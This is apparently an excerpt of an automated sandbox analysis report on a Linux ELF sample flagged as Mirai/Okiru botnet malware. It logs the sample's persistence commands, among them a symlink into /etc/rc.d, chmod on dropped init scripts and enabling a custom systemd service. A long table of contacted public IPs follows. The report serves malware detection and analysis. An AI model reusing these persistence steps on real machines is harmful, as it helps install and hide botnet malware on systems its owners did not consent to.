Source: /tmp/x86_64.nn.elf (PID: 5602) Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5594) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5599) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5601) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5577) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/x86_64.nn.elf (PID: 5554) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5594) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5599) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/x86_64.nn.elf (PID: 5554) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 5554) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5597) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/x86_64.nn.elf (PID: 5554) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5597) File: /etc/init.d/sh Jump to dropped file

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 5554, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 5554.1.0000000000400000.0000000000418000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 5554, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
195.47.207.121
 unknown United Kingdom
31398 NEC-EU-ASGB false
219.235.213.90
 unknown China
17816 CHINA169-GZChinaUnicomIPnetworkChina169Guangdongprovi false
57.132.251.223
 unknown Belgium
2686 ATGS-MMD-ASUS false
205.12.182.177
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
1.42.27.216
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
73.233.63.182
 unknown United States
7922 COMCAST-7922US false
98.170.221.219
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
74.188.45.134
 unknown United States
7018 ATT-INTERNET4US false
202.229.109.102
 unknown Japan 2514 INFOSPHERENTTPCCommunicationsIncJP false
82.94.186.200
 unknown Netherlands
3265 XS4ALL-NLAmsterdamNL false
47.31.80.210
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
48.63.107.18
 unknown United States
2686 ATGS-MMD-ASUS false
148.81.166.158
 unknown Poland
1887 NASK-ACADEMICPL false
179.130.40.28
 unknown Brazil
26599 TELEFONICABRASILSABR false
35.94.191.191
 unknown United States
237 MERIT-AS-14US false
84.255.58.50
 unknown Malta
12709 MELITACABLEMT false
150.170.117.108
 unknown United States
26438 MONROE-COMMUNITY-COLLEGEUS false
41.148.142.242
 unknown South Africa
5713 SAIX-NETZA false
126.68.28.132
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
157.142.136.21
 unknown United States
16922 OUHSC-EDUUS false
9.112.146.90
 unknown United States
3356 LEVEL3US false
36.118.180.82
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
156.141.173.111
 unknown United States
29975 VODACOM-ZA false
214.197.165.71
 unknown United States
721 DNIC-ASBLK-00721-00726US false
219.166.77.15
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
109.235.85.224
 unknown France
43734 FR-UEM-METZFR false
198.146.50.198
 unknown United States
19956 TENNESSEE-NETUS false
62.194.143.100
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
164.94.212.231
 unknown United States
46930 ASN-DPSDUS false
3.242.220.133
 unknown United States
14618 AMAZON-AESUS false
67.42.243.145
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
29.188.223.150
 unknown United States
7922 COMCAST-7922US false
170.105.159.12
 unknown Japan 1798 OREGONUS false
218.145.157.212
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
45.226.46.175
 unknown Brazil
266958 NetTelecomMDLtda-MEBR false
111.221.209.128
 unknown China
17962 TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN false
126.165.227.195
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
180.179.240.71
 unknown India
17439 NETMAGIC-APNetmagicDatacenterMumbaiIN false
102.252.60.76
 unknown South Africa
5713 SAIX-NETZA false
187.255.91.173
 unknown Brazil
28573 CLAROSABR false
158.8.119.230
 unknown United States
5180 DNIC-ASBLK-05120-05376US false
118.144.22.187
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
68.33.106.144
 unknown United States
7922 COMCAST-7922US false
160.3.122.1
 unknown United States
11492 CABLEONEUS false
81.103.8.49
 unknown United Kingdom
5089 NTLGB false
108.221.175.223
 unknown United States
7018 ATT-INTERNET4US false
199.6.149.167
 unknown United States
29063 ATOS-NL-ASEindhovenNL false
62.42.193.63
 unknown Spain
6739 ONO-ASCableuropa-ONOES false
71.136.153.159
 unknown United States
7018 ATT-INTERNET4US false
20.29.14.14
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
57.152.218.77
 unknown Belgium
2686 ATGS-MMD-ASUS false
98.30.50.28
 unknown United States
10796 TWC-10796-MIDWESTUS false
83.152.4.245
 unknown France
12322 PROXADFR false
26.0.5.210
 unknown United States
7922 COMCAST-7922US false
187.85.168.239
 unknown Brazil
28343 UnifiqueTelecomunicacoesSABR false
208.239.43.130
 unknown United States
4208 THE-ISERV-COMPANYUS false
159.250.120.170
 unknown United States
11776 ATLANTICBB-JOHNSTOWNUS false
58.129.113.158
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
131.181.92.221
 unknown Australia
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
32.70.39.132
 unknown United States
2686 ATGS-MMD-ASUS false
32.64.97.6
 unknown United States
2686 ATGS-MMD-ASUS false
217.158.152.236
 unknown United Kingdom
8426 CLARANET-ASClaraNETLTDGB false
140.45.52.232
 unknown United States
668 DNIC-AS-00668US false
164.252.135.102
 unknown United States
5972 DNIC-ASBLK-05800-06055US false
143.43.25.13
 unknown United States
22978 GSUUS false
132.21.119.224
 unknown United States
409 AFCONC-BLOCK1-ASUS false
88.229.213.86
 unknown Turkey
9121 TTNETTR false
75.190.63.158
 unknown United States
11426 TWC-11426-CAROLINASUS false
92.250.140.100
 unknown Luxembourg
12684 SES-LUX-ASLU false
139.7.55.42
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
98.104.202.43
 unknown United States
6167 CELLCO-PARTUS false
165.101.223.64
 unknown unknown
10006 SECOMTRUSTSECOMTrustSystemsCoLtdJP false
17.248.21.185
 unknown United States
714 APPLE-ENGINEERINGUS false
68.164.83.17
 unknown United States
18566 MEGAPATH5-US false
128.144.14.183
 unknown Canada
542 ARNETCA false
126.207.45.14
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
52.224.65.13
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
74.205.144.1
 unknown United States
39939 RISE-CO-AS39939US false
221.61.32.45
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
28.232.224.201
 unknown United States
7922 COMCAST-7922US false
56.113.16.18
 unknown United States
2686 ATGS-MMD-ASUS false
221.101.155.195
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
145.70.40.95
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
32.98.60.172
 unknown United States
7018 ATT-INTERNET4US false
46.143.44.39
 unknown Iran (ISLAMIC Republic Of)
8881 VERSATELDE false
49.68.3.220
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
7.127.112.6
 unknown United States
3356 LEVEL3US false
42.192.229.133
 unknown China
4249 LILLY-ASUS false
91.119.83.65
 unknown Austria
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
160.221.73.249
 unknown Belgium
24771 FIAT-AS2IT false
2.175.126.85
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
1.22.204.153
 unknown India
45528 TIKONAIN-ASTikonaInfinetLtdIN false
80.34.10.120
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
206.161.213.143
 unknown United States
3491 BTN-ASNUS false
205.186.60.86
 unknown United States
2722 C-LIGHTUS false
102.219.38.190
 unknown unknown
36926 CKL1-ASNKE false
74.13.153.15
 unknown Canada
577 BACOMCA false
120.77.243.36
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
223.160.225.13
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
199.65.35.37
 unknown United States
13778 JOHNSON-AND-JOHNSONUS false

Contacted Domains

Name IP Active
daisy.ubuntu.com 162.213.35.24 true